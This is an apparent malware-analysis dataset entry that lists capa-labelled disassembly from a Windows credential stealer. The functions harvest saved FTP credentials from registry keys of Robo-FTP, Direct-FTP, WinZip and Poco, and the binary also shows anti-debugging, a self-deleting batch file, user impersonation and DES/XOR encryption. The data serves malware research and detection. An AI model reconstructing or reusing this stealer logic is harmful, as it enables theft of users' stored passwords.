joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d32e
Capabilities:
Gather robo-ftp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
lea eax, [ebp - 4]
push eax
push str.FTP_Count
push str.SOFTWARERobo_FTP_3.7Scripts
push dword [ebp + 0xc]
call fcn.00401c65
and eax, eax
je 0x40d3b9
push eax
cmp dword [ebp - 4], 4
jne 0x40d3b4
push dword [eax]
pop dword [ebp - 8]
cmp dword [ebp - 8], 0x1f4
jbe 0x40d36a
mov dword [ebp - 8], 0x1f4
jmp 0x40d3ae
push dword [ebp - 8]
push str.FTP_File_d
lea eax, [ebp - 0x1c]
push eax
call sub.user32.dll_wsprintfA
add esp, 0xc
push 0
lea eax, [ebp - 0x1c]
push eax
push str.SOFTWARERobo_FTP_3.7Scripts
push dword [ebp + 0xc]
call fcn.00401c65
and eax, eax
je 0x40d3ab
push eax
push 0xbeef0001
push eax
push dword [ebp + 8]
call fcn.00403e4a
call fcn.00401871
dec dword [ebp - 8]
cmp dword [ebp - 8], 0
jne 0x40d36c
call fcn.00401871
leave
ret 8

Function at 0x40d623
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7dc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x4150da]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x40d7f5
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x40d67b
jmp 0x40d7ed
push 0x4150b6
push dword [ebp + 0xc]
call fcn.00401cec
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cec
mov dword [ebp - 0x824], eax
call fcn.00401871
push 0
push str.Host
push dword [ebp - 0x824]
push dword [0x4150da]
call fcn.00401c65
mov dword [ebp - 0x810], eax
push 0
push str.User
push dword [ebp - 0x824]
push dword [0x4150da]
call fcn.00401c65
mov dword [ebp - 0x814], eax
push 0
push str.Pass
push dword [ebp - 0x824]
push dword [0x4150da]
call fcn.00401c65
mov dword [ebp - 0x818], eax
push 0
push 0x41707b
push dword [ebp - 0x824]
push dword [0x4150da]
call fcn.00401c65
mov dword [ebp - 0x81c], eax
push 0
push str.Remote_Dir
push dword [ebp - 0x824]
push dword [0x4150da]
call fcn.00401c65
mov dword [ebp - 0x820], eax
cmp dword [ebp - 0x814], 0
je 0x40d795
push 0xbeef0000
push dword [ebp + 8]
call fcn.00401522
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401584
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00401584
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401584
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.00401584
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.00401584
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.0040d623
push dword [ebp - 0x824]
call fcn.00401871
push dword [ebp - 0x810]
call fcn.00401871
push dword [ebp - 0x814]
call fcn.00401871
push dword [ebp - 0x818]
call fcn.00401871
push dword [ebp - 0x81c]
call fcn.00401871
push dword [ebp - 0x820]
call fcn.00401871
inc dword [ebp - 8]
jmp 0x40d64d
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x40da5d
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x40dc3d
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x40dab2
jmp 0x40dc35
push 0x4150b6
push dword [ebp + 0xc]
call fcn.00401cec
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cec
mov dword [ebp - 0x828], eax
call fcn.00401871
push 0
push str.HostName
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401c65
mov dword [ebp - 0x810], eax
push 0
push str.UserName
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401c65
mov dword [ebp - 0x814], eax
push 0
push str.Password
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401c65
mov dword [ebp - 0x818], eax
lea eax, [ebp - 0x824]
push eax
push str.PortNumber
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401c65
mov dword [ebp - 0x81c], eax
push 0
push str.TerminalType
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401c65
mov dword [ebp - 0x820], eax
cmp dword [ebp - 0x810], 0
je 0x40dbda
cmp dword [ebp - 0x814], 0
je 0x40dbda
cmp dword [ebp - 0x818], 0
je 0x40dbda
push 0xbeef0000
push dword [ebp + 0x10]
call fcn.00401522
push dword [ebp - 0x810]
push dword [ebp + 0x10]
call fcn.00401584
push dword [ebp - 0x814]
push dword [ebp + 0x10]
call fcn.00401584
push dword [ebp - 0x818]
push dword [ebp + 0x10]
call fcn.00401584
push dword [ebp - 0x824]
push dword [ebp - 0x81c]
push dword [ebp + 0x10]
call fcn.00401558
push dword [ebp - 0x820]
push dword [ebp + 0x10]
call fcn.00401584
push dword [ebp + 0x10]
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.0040da5d
push dword [ebp - 0x828]
call fcn.00401871
push dword [ebp - 0x810]
call fcn.00401871
push dword [ebp - 0x814]
call fcn.00401871
push dword [ebp - 0x818]
call fcn.00401871
push dword [ebp - 0x81c]
call fcn.00401871
push dword [ebp - 0x820]
call fcn.00401871
inc dword [ebp - 8]
jmp 0x40da84
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x40dcc5
Capabilities:
Gather direct-ftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x40defa
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x40dd1a
jmp 0x40def2
push 0x4150b6
push dword [ebp + 0xc]
call fcn.00401cec
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cec
mov dword [ebp - 0x828], eax
call fcn.00401871
push 0
push str.FTP_destination_server
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401c65
mov dword [ebp - 0x810], eax
push 0
push str.FTP_destination_user
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401c65
mov dword [ebp - 0x814], eax
push 0
push str.FTP_destination_password
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401c65
mov dword [ebp - 0x818], eax
lea eax, [ebp - 0x824]
push eax
push str.FTP_destination_port
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401c65
mov dword [ebp - 0x81c], eax
push 0
push str.FTP_destination_catalog
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401c65
mov dword [ebp - 0x820], eax
lea eax, [ebp - 0x830]
push eax
push str.FTP_profiles
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401c65
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x810], 0
je 0x40de62
cmp dword [ebp - 0x814], 0
je 0x40de62
cmp dword [ebp - 0x818], 0
je 0x40de62
push 0xbeef0000
push dword [ebp + 0x10]
call fcn.00401522
push dword [ebp - 0x810]
push dword [ebp + 0x10]
call fcn.00401584
push dword [ebp - 0x814]
push dword [ebp + 0x10]
call fcn.00401584
push dword [ebp - 0x818]
push dword [ebp + 0x10]
call fcn.00401584
push dword [ebp - 0x824]
push dword [ebp - 0x81c]
push dword [ebp + 0x10]
call fcn.00401558
push dword [ebp - 0x820]
push dword [ebp + 0x10]
call fcn.00401584
cmp dword [ebp - 0x830], 0
je 0x40de8c
push 0xbeef0001
push dword [ebp + 0x10]
call fcn.00401522
push dword [ebp - 0x830]
push dword [ebp - 0x82c]
push dword [ebp + 0x10]
call fcn.00401558
push dword [ebp + 0x10]
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.0040dcc5
push dword [ebp - 0x828]
call fcn.00401871
push dword [ebp - 0x810]
call fcn.00401871
push dword [ebp - 0x814]
call fcn.00401871
push dword [ebp - 0x818]
call fcn.00401871
push dword [ebp - 0x81c]
call fcn.00401871
push dword [ebp - 0x820]
call fcn.00401871
push dword [ebp - 0x82c]
call fcn.00401871
inc dword [ebp - 8]
jmp 0x40dcec
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x40e29a
Capabilities:
Gather winzip information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x40e3df
push 0
push str.Site
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401c65
mov dword [ebp - 8], eax
push 0
push str.UserID
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401c65
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x1c]
push eax
push str.xflags
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401c65
mov dword [ebp - 0x10], eax
push 0
push str.Port
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401c65
mov dword [ebp - 0x14], eax
push 0
push str.Folder
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401c65
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x10], 0
je 0x40e3af
cmp dword [ebp - 0x1c], 0
je 0x40e3af
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
call fcn.00402a12
and eax, eax
je 0x40e3af
shr dword [ebp - 0x1c], 1
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x10]
call fcn.004041ba
and eax, eax
je 0x40e3af
cmp dword [ebp - 8], 0
je 0x40e3af
cmp dword [ebp - 0xc], 0
je 0x40e3af
cmp dword [ebp - 0x10], 0
je 0x40e3af
push 0xbeef0000
push dword [ebp + 0x10]
call fcn.00401522
push dword [ebp - 8]
push dword [ebp + 0x10]
call fcn.00401584
push dword [ebp - 0xc]
push dword [ebp + 0x10]
call fcn.00401584
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
push dword [ebp + 0x10]
call fcn.00401558
push dword [ebp - 0x14]
push dword [ebp + 0x10]
call fcn.00401584
push dword [ebp - 0x18]
push dword [ebp + 0x10]
call fcn.00401584
push dword [ebp - 8]
call fcn.00401871
push dword [ebp - 0xc]
call fcn.00401871
push dword [ebp - 0x10]
call fcn.00401871
push dword [ebp - 0x14]
call fcn.00401871
push dword [ebp - 0x18]
call fcn.00401871
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc

Function at 0x40e3e3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x40e4a8
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
lea eax, [ebp - 0x814]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumValueA
and eax, eax
je 0x40e43a
jmp 0x40e4a0
cmp dword [ebp - 0x814], 1
je 0x40e448
inc dword [ebp - 8]
jmp 0x40e40a
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401c65
and eax, eax
je 0x40e498
mov dword [ebp - 0x810], eax
push str..wjf
push dword [ebp - 0x810]
call sub.shlwapi.dll_StrStrIA
and eax, eax
je 0x40e48d
push dword [ebp - 0x810]
push dword [ebp + 0x10]
call fcn.0040e161
push dword [ebp - 0x810]
call fcn.00401871
inc dword [ebp - 8]
jmp 0x40e40a
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x40ea6a
Capabilities:
Query or enumerate registry key
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
push 0x105
call fcn.00401888
mov dword [ebp - 0x818], eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x40eba5
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x40eacf
jmp 0x40eb9d
push 0x4150b6
push dword [ebp + 0xc]
call fcn.00401cec
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cec
mov dword [ebp - 0x810], eax
call fcn.00401871
push 0
push str.Path
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401c65
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 0
je 0x40eb6e
push str.PocoSystem.ini
push dword [ebp - 0x814]
call fcn.00401cec
push eax
push eax
push 0x104
push dword [ebp - 0x818]
push 0x4150b8
push str.DataPath
push str.Program
call sub.kernel32.dll_GetPrivateProfileStringA
cmp eax, 3
jbe 0x40eb69
push 0xbeef0000
push str.accounts.ini
push dword [ebp - 0x818]
push dword [ebp + 0x10]
call fcn.0040412f
call fcn.00401871
push dword [ebp + 0x10]
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.0040ea6a
push dword [ebp - 0x810]
call fcn.00401871
push dword [ebp - 0x814]
call fcn.00401871
inc dword [ebp - 8]
jmp 0x40eaa1
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
push dword [ebp - 0x818]
call fcn.00401871
leave
ret 0xc
Function at 0x40f39a
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7f0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x40f433
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x40f3e8
jmp 0x40f42b
push 0x4150b6
push dword [ebp + 0x10]
call fcn.00401cec
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d40
mov dword [ebp - 0x810], eax
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040f205
push dword [ebp - 0x810]
call fcn.00401871
inc dword [ebp - 8]
jmp 0x40f3bd
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc

Function at 0x40f437
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7f0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x40f4dd
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x40f489
jmp 0x40f4d5
push 0x4150b6
push dword [ebp + 0x10]
call fcn.00401cec
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d40
push dword [ebp + 0x14]
push eax
call fcn.00401d40
mov dword [ebp - 0x810], eax
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040f39a
push dword [ebp - 0x810]
call fcn.00401871
inc dword [ebp - 8]
jmp 0x40f45e
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0x10

Function at 0x4102d0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push edi
xor edx, eax
xor eax, edx
xor edx, eax
push 0x4102ea
nop
clc
nop
jb 0x4102e9
nop
ret
inc bh
inc ebp
cld
add byte [eax], al
add byte [eax], al
mov edi, 0x417cf3
push dword [ebp + 8]
pop dword [0x417f13]
mov eax, dword fs:[0x30]
cmp byte [eax + 2], 0
je 0x410313
push dword [ebp + 8]
call fcn.00401026
jmp 0x4103d0
call fcn.00402300
push dword [ebp + 8]
call fcn.004014db
mov dword [0x417f0f], eax
push dword fs:[0]
mov eax, esp
push dword fs:[0]
push ebp
push eax
push 0x4103c6
push 0x41037f
push eax
mov dword fs:[0], esp
push dword [ebp + 8]
call dword [edi]
cmp dword [edi], 0x4043db
je 0x41037a
cmp eax, 0x10
je 0x410369
mov dword [ebp - 4], 1
jmp 0x41037a
push dword [0x417f0f]
push dword [0x417f13]
call fcn.0040130e
add esp, 0x18
jmp 0x4103c6
pop dword fs:[0]
add edi, 4
cmp dword [edi], 0
jne 0x410318
mov eax, dword [ebp - 4]
pop edi
leave
ret 4
Function at 0x410788
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
xor edx, eax
xor eax, edx
xor edx, eax
push 0x4107a1
nop
clc
nop
jb 0x4107a0
nop
ret
dec byte [ebx - 0x6f36742e]
push 0x105
call fcn.00401888
nop
mov edx, edx
mov ecx, ecx
nop
mov dword [ebp - 0x14], eax
nop
call sub.kernel32.dll_GetTickCount
push eax
push str._d.bat
push dword [ebp - 0x14]
call sub.user32.dll_wsprintfA
add esp, 0xc
push 0x105
call fcn.00401888
nop
mov edx, edx
mov ecx, ecx
nop
mov dword [ebp - 4], eax
mov edx, edx
mov ecx, ecx
nop
push 0x105
call fcn.00401888
nop
mov edx, edx
mov ecx, ecx
mov dword [ebp - 0x10], eax
nop
push 0x105
call fcn.00401888
mov edx, edx
mov ecx, ecx
nop
mov edx, edx
mov ecx, ecx
mov dword [ebp - 8], eax
mov ecx, ecx
mov edx, edx
mov edx, edx
mov ecx, ecx
nop
push 0x104
push dword [ebp - 4]
push dword [0x418692]
call sub.kernel32.dll_GetModuleFileNameA
nop
mov edx, edx
mov ecx, ecx
mov edx, edx
mov ecx, ecx
push dword [ebp - 0x10]
push 0x104
call sub.kernel32.dll_GetTempPathA
and eax, eax
je 0x410857
mov ecx, ecx
mov edx, edx
nop
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call sub.kernel32.dll_lstrcatA
mov edx, edx
push 0
push 0
push 2
push 0
push 3
push 0xc0000000
push dword [ebp - 0x10]
call sub.kernel32.dll_CreateFileA
mov ecx, ecx
mov dword [ebp - 0xc], eax
mov ecx, ecx
inc eax
and eax, eax
jne 0x4108be
push dword [ebp - 4]
push dword [ebp - 0x10]
call sub.kernel32.dll_lstrcpyA
push 0x5c
push 0
push dword [ebp - 0x10]
call sub.shlwapi.dll_StrRChrIA
and eax, eax
je 0x4108a1
inc eax
push dword [ebp - 0x14]
push eax
call sub.kernel32.dll_lstrcpyA
push 0
push 0
push 2
push 0
push 3
push 0xc0000000
push dword [ebp - 0x10]
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 0xc], eax
inc eax
je 0x410929
push str._r_n_t_t_r_n_r_n_t___:ktk____r_n_r_n_r_n_____del_____t__1___r_n_tif___t_t_exist__t____1___t__goto__t_r_ktk_r_n_del__t___0
call sub.kernel32.dll_lstrlenA
push eax
push str._r_n_t_t_r_n_r_n_t___:ktk____r_n_r_n_r_n_____del_____t__1___r_n_tif___t_t_exist__t____1___t__goto__t_r_ktk_r_n_del__t___0
push dword [ebp - 0xc]
call fcn.0040145e
push eax
push dword [ebp - 0xc]
call sub.kernel32.dll_CloseHandle
pop eax
and eax, eax
jne 0x4108e6
jmp 0x410929
push dword [ebp - 4]
push str.________s_
push dword [ebp - 8]
call sub.user32.dll_wsprintfA
add esp, 0xc
push str.shell32.dll
call sub.kernel32.dll_LoadLibraryA
and eax, eax
je 0x410929
push str.ShellExecuteA
push eax
call sub.kernel32.dll_GetProcAddress
and eax, eax
je 0x410929
push 0
push 0
push dword [ebp - 8]
push dword [ebp - 0x10]
push str.open
push 0
call eax
push dword [ebp - 0x14]
call fcn.00401871
push dword [ebp - 4]
call fcn.00401871
push dword [ebp - 0x10]
call fcn.00401871
push dword [ebp - 8]
call fcn.00401871
leave
ret
Function at 0x410a5a
Capabilities:
Impersonate user

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push edi
xor edx, eax
xor eax, edx
xor edx, eax
push 0x410a75
nop
clc
nop
jb 0x410a74
nop
ret
inc byte [ebx + 0x4153ed3d]
add byte [eax], al
je 0x410a87
cmp dword [0x4153f9], 0
jne 0x410a8d
sub eax, eax
pop edi
pop ebx
leave
ret
mov ebx, dword [0x41866d]
jmp 0x410c29
call fcn.00402acf
cmp dword [0x418671], 0
je 0x410abd
push dword [ebx + 4]
push dword [0x418671]
call sub.kernel32.dll_lstrcmpiA
and eax, eax
jne 0x410abd
jmp 0x410c27
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
push 2
push dword [ebx + 4]
push 0
push dword [ebx + 4]
call dword [0x4153f9]
and eax, eax
je 0x410ae3
jmp 0x410b6c
push dword [ebx + 4]
call fcn.00402922
mov dword [ebp - 8], eax
push dword [ebx + 4]
call sub.kernel32.dll_lstrlenA
push eax
push dword [ebp - 8]
push eax
push dword [ebx + 4]
push 0x100
push 0x400
call sub.kernel32.dll_LCMapStringA
and eax, eax
je 0x410b3c
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
push 2
push dword [ebp - 8]
push 0
push dword [ebx + 4]
call dword [0x4153f9]
and eax, eax
je 0x410b3c
push dword [ebp - 8]
call fcn.00401871
jmp 0x410b6c
push dword [ebp - 8]
call fcn.00401871
mov edi, str.r_l_oui_
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
push 2
push edi
push 0
push dword [ebx + 4]
call dword [0x4153f9]
and eax, eax
je 0x410c15
mov dword [ebp - 0x28], 0x20
mov dword [ebp - 0x24], 1
push dword [ebx + 4]
pop dword [ebp - 0x20]
push dword [ebx + 8]
pop dword [ebp - 0x1c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call sub.userenv.dll_LoadUserProfileA
and eax, eax
je 0x410bca
cmp dword [ebp - 0xc], 0
je 0x410bc1
push dword [ebp - 0xc]
pop dword [0x4150da]
mov dword [ebp - 0x2c], 1
jmp 0x410bd1
mov dword [ebp - 0x2c], 0
push dword [ebp - 4]
call dword [0x4153ed]
and eax, eax
je 0x410bfc
call fcn.00410674
cmp dword [0x4153e5], 0
je 0x410bf2
call dword [0x4153e5]
mov dword [0x4150da], 0x80000001
cmp dword [ebp - 0x2c], 0
je 0x410c0d
push dword [ebp - 0xc]
push dword [ebp - 4]
call sub.userenv.dll_UnloadUserProfile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
cld
xor eax, eax
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
cmp byte [edi], al
jne 0x410b49
mov ebx, dword [ebx]
and ebx, ebx
jne 0x410a98
mov eax, 1
pop edi
pop ebx
leave
ret
Function at 0x412640
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf0
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
xor edx, edx
movzx ecx, byte [edx + str.80_]
mov ebx, ecx
sar ebx, 3
movzx ebx, byte [ebx + eax]
mov esi, ecx
and esi, 7
movzx esi, word [esi + esi + 0x4188bc]
and ebx, esi
setne bl
mov byte [ebp + edx - 0x38], bl
inc edx
cmp edx, 0x38
jl 0x412651
xor eax, eax
cmp word [ebp + 0xc], 1
jne 0x412690
mov ebx, eax
neg ebx
lea esi, [ebx + ebx + 0x1e]
jmp 0x412693
lea esi, [eax + eax]
lea edi, [esi + 1]
and dword [ebp + edi*4 - 0xf0], 0
and dword [ebp + esi*4 - 0xf0], 0
xor edx, edx
movzx ebx, byte [eax + 0x418964]
lea ecx, [ebx + edx]
cmp ecx, 0x1c
jge 0x4126c1
mov bl, byte [ebp + ecx - 0x38]
mov byte [ebp + edx - 0x70], bl
jmp 0x4126c9
mov bl, byte [ebp + ecx - 0x54]
mov byte [ebp + edx - 0x70], bl
inc edx
cmp edx, 0x1c
jl 0x4126a8
mov edx, 0x1c
movzx ebx, byte [eax + 0x418964]
lea ecx, [ebx + edx]
cmp ecx, 0x38
jge 0x4126ed
mov bl, byte [ebp + ecx - 0x38]
mov byte [ebp + edx - 0x70], bl
jmp 0x4126f5
mov cl, byte [ebp + ecx - 0x54]
mov byte [ebp + edx - 0x70], cl
inc edx
cmp edx, 0x38
jl 0x4126d4
xor edx, edx
movzx ecx, byte [edx + 0x418974]
cmp byte [ebp + ecx - 0x70], 0
je 0x412719
mov ecx, dword [edx*4 + 0x4188cc]
or dword [ebp + esi*4 - 0xf0], ecx
movzx ecx, byte [edx + 0x41898c]
cmp byte [ebp + ecx - 0x70], 0
je 0x412735
mov ecx, dword [edx*4 + 0x4188cc]
or dword [ebp + edi*4 - 0xf0], ecx
inc edx
cmp edx, 0x18
jl 0x4126fd
inc eax
cmp eax, 0x10
jl 0x41267f
lea eax, [ebp - 0xf0]
push eax
call fcn.0041275a
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4130a8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push eax
push eax
push esi
push edi
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
xor edx, edx
mov cl, byte [edx + eax]
mov byte [ebp + edx - 8], cl
mov cl, byte [edx + eax]
mov byte [edx + esi], cl
inc edx
cmp edx, 8
jl 0x4130ba
push esi
push eax
call fcn.00412bf5
xor eax, eax
lea edx, [eax + esi]
mov cl, byte [eax + edi]
xor byte [edx], cl
inc eax
cmp eax, 8
jl 0x4130d6
xor eax, eax
mov dl, byte [ebp + eax - 8]
mov byte [eax + edi], dl
inc eax
cmp eax, 8
jl 0x4130e6
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc